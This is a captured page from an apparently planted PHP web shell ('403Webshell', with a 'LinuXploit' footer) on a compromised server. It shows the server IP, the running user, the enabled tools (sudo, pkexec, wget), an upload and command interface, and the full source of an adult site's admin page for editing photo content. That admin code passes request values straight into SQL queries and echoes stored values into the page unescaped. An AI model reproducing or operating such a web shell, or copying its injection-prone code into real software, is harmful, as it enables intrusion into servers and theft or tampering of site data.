403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.45
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/www.superporner.com/porn/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/www.superporner.com/porn/admin/edit_photo_content.php
<? 
include_once('db.php');
if(!is_numeric($_REQUEST[id])) { exit(); } 

if($_POST) {
	$_POST = mysql_real_escape_array($_POST);
	mysql_query("UPDATE content SET title = '$_POST[title]', description = '$_POST[description]', main_thumb = '$_POST[mainthumb]', keywords = '$_POST[keywords]', thumbnail = '$_POST[thumbnail]', scheduled_date = '$_POST[scheduled_date]', encoded_date = NOW(), paysite = '$_POST[paysite]', pornstars = '$_POST[pornstars]', embed = '$_POST[embed]', enabled = '$_POST[enabled]', force_related = '$_POST[force_related]'  WHERE record_num = '$_REQUEST[id]'") or die(mysql_error());
	mysql_query("UPDATE content_views SET views = '$_POST[views]' WHERE content = '$_REQUEST[id]'");
	$success = true;
	mysql_query("DELETE FROM content_niches WHERE content = '$_REQUEST[id]'");
	mysql_query("DELETE FROM content_pornstars WHERE content = '$_REQUEST[id]'");
	if($_POST[niche]) {
		foreach($_POST[niche] as $i) {
			if(is_numeric($i)) {
				mysql_query("INSERT INTO content_niches (content,niche) VALUES ('$_REQUEST[id]','$i')");
			}
		}
	}
	if($_POST[pornstar]) {
		foreach($_POST[pornstar] as $i) {
			if(is_numeric($i)) { 
				mysql_query("INSERT INTO content_pornstars (content,pornstar) VALUES ('$_REQUEST[id]','$i')");
			}
		}
	}	
}
$result = mysql_query("SELECT content.*, content_views.views as views FROM content, content_views WHERE content_views.content = content.record_num AND content.record_num = '$_REQUEST[id]'");
$row = mysql_fetch_array($result); 
if(!$row[record_num]) {
	echo "ID Not found";
	exit();  
}
?>
<html>
<head>
<link href="css/style.css" media="screen" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="js/jquery-1.3.2.min.js"></script>
<? if($success) { ?>
<script>$(document).ready(function(){parent.$.fn.colorbox.close()});</script>
<? } ?>
<script>
function deleteImage(id) {
	$("#image"+id).fadeOut("slow");
	$.get('delete_image.php?id='+id);
}
</script>
</head>
<body style='background-image: none;'>
<div style='width: 925px; height: 625px;'>

<form method='post' enctype="multipart/form-data" action=''>
<input type='hidden' name='id' value='<? echo $_REQUEST[id]; ?>' />
  <table width="925" border="0" align="center" cellpadding="2" cellspacing="0" style='font-family: Arial, Helvetica, sans-serif; font-size: 11px;'>
    <tr>
      <td width="63" valign="top" class="style4">Title</td>
      <td colspan="3" align="left" valign="top" class="style4"><input name="title" type="text" id="title" value="<? echo $row[title]; ?>" size="40" maxlength="255" /></td>
      <td width="342" rowspan="4" align="left" valign="top" class="style4"><table width="100%" border="0" cellspacing="0" cellpadding="1" style='font-family: Arial, Helvetica, sans-serif; font-size: 11px;'>
			<tr>
				<td>Length (seconds)</td>
				<td><input name="length" type="text" id="length" value="<? echo $row[length]; ?>" size="10" maxlength="255" /></td>
			</tr>
      		<tr>
      			<td>Views</td>
				<td><input name="views" value="<? echo $row[views]; ?>" type="text" id="views" size="10" maxlength="255" /></td>
			</tr>
      		<tr>
      			<td>Paysite</td>
				<td><select name='paysite'>
					<option value='0'>None</option>
					<?
        $rresult = mysql_query("SELECT * FROM paysites ORDER BY name ASC");
        while($rrow = mysql_fetch_array($rresult)) {
            if($row[paysite] == $rrow[record_num]) { $selected = 'selected'; } else { $selected = ''; }
            echo "<option $selected value='$rrow[record_num]'>$rrow[name]</option>";
        }
        ?>
				</select></td>
			</tr>
      		<tr>
      			<td>Published</td>
				<td><select name="enabled" id="enabled">
					<option <? if($row[enabled] == '1') { echo 'selected'; } ?> value="1">Yes</option>
					<option <? if($row[enabled] == '0') { echo 'selected'; } ?> value="0">No</option>
				</select></td>
			</tr>
			<tr>
      			<td>Force Related  (<a href='#' title='Comma separate id numbers of other content, which will be forced as related videos/photos on video page. Please enter with no trailing comma.'>?</a>)</td>
				<td><input name="force_related" value="<? echo $row[force_related]; ?>" type="text" id="force_related" size="10" maxlength="255" /></td>
			</tr>
      		<tr>
      			<td>Submitter</td>
      			<td><? if($row[submitter] != 0) { 
	  $rresult = mysql_query("SELECT * FROM users WHERE record_num = $row[submitter]"); 
	  $rrow = mysql_fetch_array($rresult); 
	  echo "<a href='edit_user.php?id=$rrow[record_num]'>$rrow[username]</a>"; 
	  }
	  else { echo "Anonymous"; }
	  ?></td>
      			</tr>
				
			</table></td>
      <tr>
      <td valign="top" class="style4">Description</td>
      <td colspan="3" align="left" valign="top" class="style4"><textarea name="description" cols="80" rows="3" id="description2"><? echo $row[description]; ?></textarea></td>
    </tr>
    <tr>
      <td valign="top" class="style4">Keywords</td>
      <td colspan="3" align="left" valign="top" class="style4"><input name="keywords" type="text" id="keywords" value="<? echo $row[keywords]; ?>" size="40" maxlength="255" /></td>
    </tr>
    <tr>
    	<td valign="top" class="style4">&nbsp;</td>
    	<td width="279" align="left" valign="top" class="style4">&nbsp;</td>
    	<td width="182" align="left" valign="top" class="style4">&nbsp;</td>
    	<td width="39" align="left" valign="top" class="style4">&nbsp;</td>
    	</tr>
      <tr>
      	<td valign="top" class="style4">Main Thumb</td>
      	<td colspan="4" align="left" class="style4"><?
      $rresult = mysql_query("SELECT * FROM images WHERE gallery = '$row[record_num]'");
		while($rrow = mysql_fetch_array($rresult)) { 
	  ?>
      		<div style='float: left; width: 105px; height: 100px; margin-bottom: 10px; text-align: center;' id="image<? echo $rrow[record_num]; ?>">
				<div style='position: absolute; z-index: 9'><img style='width: 95px; height: 75px;'  border=0 src='<? echo $gallery_url; ?>/<? echo $row[filename]; ?>/thumbs/<? echo $rrow[filename]; ?>'><br />
				<input name='thumbnail' type='radio' value='<? echo $rrow[record_num]; ?>' <? if($row[thumbnail] == $rrow[record_num]) { ?>checked="checked"<? } ?> /> 
				<? echo truncate($rrow[filename],10); ?>        
				</div>
				<? if($rrow[record_num] != $row[thumbnail]) { ?>
				<div style='position: absolute; z-index: 10; padding: 3px 3px 3px 3px;'><a title='Delete Image' onClick="deleteImage(<? echo $rrow[record_num]; ?>); return false;" href='#'><img src='<? echo $basehttp; ?>/admin/gfx/buttons/delete.png' border=0 /></a></div>
				<? } else { ?>
				 <div style='position: absolute; z-index: 10; padding: 3px 3px 3px 3px;'><a title='Main Thumb'  href='#'><img src='<? echo $basehttp; ?>/admin/gfx/buttons/accept.png' border=0 /></a></div>
				<? } ?>
            </div>
      <? 
	  	}
	  ?> </td>
      	</tr>
      <tr>
      <td colspan="5" valign="top" class="style4"><table width="100%" border="0" cellspacing="0" cellpadding="0" style='font-size: 11px;'>
			<tr>
				<td width="19%" valign="top">Categories:<br />
					<?
unset($thisniche); 
$sresult = mysql_query("SELECT * FROM content_niches WHERE content = '$_REQUEST[id]'");
while($srow = mysql_fetch_array($sresult)) {
	$thisniche[] = $srow[niche];
}
?>
					<select name='niche[]' size="12" multiple="multiple" style='width: 150px;'>
						<?
$presult =  mysql_query("SELECT * FROM niches ORDER BY name ASC");
while($srow = mysql_fetch_array($presult)) {
	if(in_array($srow[record_num],$thisniche)) { $checked = 'selected'; } else { $checked = ''; }
	echo "<option $checked value='$srow[record_num]'>$srow[name]</option>";
}
?>
					</select></td>
				<td width="20%" valign="top">Pornstars:<br />
					<?
unset($thisniche); 
$sresult = mysql_query("SELECT * FROM content_pornstars WHERE content = '$_REQUEST[id]'");
while($srow = mysql_fetch_array($sresult)) {
	$thisniche[] = $srow[pornstar];
}
?>
					<select name='pornstar[]' size="12" multiple="multiple" style='width: 150px;'>
						<?
$presult =  mysql_query("SELECT * FROM pornstars ORDER BY name ASC");
while($srow = mysql_fetch_array($presult)) {
	if(in_array($srow[record_num],$thisniche)) { $checked = 'selected'; } else { $checked = ''; }
	echo "<option $checked value='$srow[record_num]'>$srow[name]</option>";
}
?>
					</select></td>
				<td width="61%" valign="top"></center>   </td>
			</tr>
		</table>
      	<br /></td>
      </tr>

      <tr>
      <td colspan="5" class="style4"><div align="right">
        <input type="submit" name="button" id="button" value="Save" />
      </div></td>
      </tr>
  </table>
</form>

            </div>
</body>
</html>       

Youez - 2016 - github.com/yon3zu
LinuXploit